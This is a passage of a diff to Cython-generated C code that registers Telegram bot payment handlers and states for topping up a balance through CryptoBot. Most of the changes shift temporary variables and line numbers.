(unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 34, __pyx_L1_error) + if (__pyx_t_6 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 35, __pyx_L1_error) } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_8 = NULL; - __pyx_t_9 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_7))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); - if (likely(__pyx_t_8)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); - __Pyx_INCREF(__pyx_t_8); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_7, function); - __pyx_t_9 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_crypto, __pyx_t_3) < 0) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); @@ -12373,14 +12382,14 @@ if (!__Pyx_RefNanny) { #endif { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 36, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); @@ -12400,163 +12409,190 @@ if (!__Pyx_RefNanny) { #endif { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto, __pyx_t_3) < 0) __PYX_ERR(0, 37, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_t_6, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_6, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_cryptobot, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_cryptobot, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_cryptobot, __pyx_t_6) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__29, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_cryptobot, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_cryptobot, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_cryptobot, __pyx_t_6) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__37, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 96, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 96, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__4)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_5); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_cryptobot_webhook, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_cryptobot_webhook, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__12)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_cryptobot_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_cryptobot_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_check_hash, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__22)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_check_hash, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_hash, __pyx_t_5) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_hash, __pyx_t_5) < 0) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_crypto_payment, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_crypto_payment, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_crypto_payment, __pyx_t_5) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_crypto_payment, __pyx_t_5) < 0) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_enter_custom_amount_crypto, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_enter_custom_amount_crypto, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 221, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 221, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__26)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 222, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 222, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, 